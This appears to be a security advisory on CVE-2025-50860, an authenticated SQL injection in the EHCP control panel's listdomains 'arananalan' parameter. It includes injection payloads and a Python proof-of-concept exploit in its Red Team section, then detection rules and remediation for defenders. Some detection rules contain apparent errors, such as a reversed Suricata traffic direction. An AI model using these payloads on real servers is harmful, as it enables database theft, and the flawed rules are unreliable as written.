CVE-2025-50860

Executive Summary

CVE-2025-50860 is a critical SQL Injection vulnerability discovered in the Easy Hosting Control Panel (EHCP) version 20.04.1.b. The flaw resides in the listdomains function, allowing an authenticated attacker to inject arbitrary SQL commands via the arananalan POST parameter. This can lead to unauthorized access, manipulation, or exfiltration of the underlying database, potentially compromising the entire hosting control panel and its managed sites.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in a self-hosted control panel software. The risk is amplified if EHCP is used to manage multiple customer websites, as a compromise could cascade to all hosted domains.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write access.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

CVSS Score: 8.8 (High) – This is a critical vulnerability for authenticated users, enabling complete database compromise.

Deep Dive & Mechanics

The listdomains function in EHCP 20.04.1.b is designed to display a list of domains associated with the authenticated user. The vulnerability occurs because the arananalan POST parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Path (Conceptual):

$arananalan = $_POST['arananalan'];
$query = "SELECT * FROM domains WHERE user_id = '$user_id' AND domain_name = '$arananalan'";
$result = mysqli_query($conn, $query);

An attacker can inject SQL by providing a crafted value for arananalan, such as:

' OR '1'='1' -- -

This would modify the query to:

SELECT * FROM domains WHERE user_id = '1' AND domain_name = '' OR '1'='1' -- -'

The OR '1'='1' condition makes the WHERE clause always true, returning all domains. More advanced payloads can be used for UNION-based data extraction, time-based blind injection, or stacked queries (if supported).

Vulnerable vs. Patched Code

Vulnerable Code (EHCP 20.04.1.b):

$arananalan = $_POST['arananalan'];
$query = "SELECT * FROM domains WHERE user_id = '$user_id' AND domain_name = '$arananalan'";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

$arananalan = $_POST['arananalan'];
$stmt = $conn->prepare("SELECT * FROM domains WHERE user_id = ? AND domain_name = ?");
$stmt->bind_param("is", $user_id, $arananalan);
$stmt->execute();
$result = $stmt->get_result();

The patch uses prepared statements with parameterized queries, which completely prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid credentials for an EHCP user account.
• Network access to the EHCP web interface.

Exploit Steps:

1. Log in to EHCP.
2. Identify the vulnerable endpoint (likely /listdomains or similar).
3. Send a POST request with a malicious arananalan parameter.

Proof-of-Concept (Python):

import requests

target = "http://target-ehcp/listdomains"
session = requests.Session()

# Authenticate first
login_data = {"username": "user", "password": "pass"}
session.post("http://target-ehcp/login", data=login_data)

# Exploit SQL injection
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -"
data = {"arananalan": payload}
response = session.post(target, data=data)
print(response.text)

Note: The number of columns in the UNION SELECT must match the original query. Use ORDER BY to determine the column count.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for unusual SQL query patterns in database logs.
• Look for POST requests to /listdomains with suspicious arananalan values (e.g., containing SQL keywords like UNION, SELECT, OR, --).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Honeypot Setup:

• Deploy a fake EHCP instance with a modified listdomains function that logs all arananalan values and alerts on suspicious input.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /listdomains with arananalan parameter containing SQL keywords.
  • Unusual database queries (e.g., UNION SELECT, OR 1=1, WAITFOR DELAY).
• Host IOCs:
  • Unexpected database entries or modifications.
  • New user accounts or elevated privileges in the EHCP database.
  • Unusual files in the web root (e.g., webshells).
• Log IOCs:
  • Database error logs showing malformed SQL queries.
  • Web server access logs with arananalan parameter containing ' or --.

Detection Engineering

YARA Rule

rule CVE_2025_50860_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-50860 in EHCP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50860"
    strings:
        $sqli1 = "arananalan=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "-- -" nocase
        $sqli5 = "1=1" nocase
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against EHCP listdomains
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the arananalan parameter in EHCP
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'arananalan='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in domain names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-50860 SQL Injection Attempt - EHCP listdomains";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/listdomains"; http_uri;
    content:"arananalan="; http_client_body;
    pcre:"/(\x27|%27).*(OR|or).*(--|%2D%2D)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2025-50860;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the EHCP server from the internet if possible.
2. Patch: Apply any available patches from the vendor. If no patch exists, consider upgrading to a newer version or migrating to a different control panel.
3. Mitigate: Implement a WAF rule to block SQL injection patterns in the arananalan parameter.

Long-Term Fixes:

• Code Review: Rewrite the listdomains function to use prepared statements or parameterized queries.
• Input Validation: Implement strict input validation for all POST parameters.
• Least Privilege: Ensure the database user used by EHCP has minimal necessary privileges.
• Monitoring: Enable detailed logging and monitoring for SQL injection attempts.

Workaround:

• If patching is not possible, disable the listdomains functionality or restrict access to it via .htaccess or firewall rules.

Valters IT
Securing Digital Infrastructure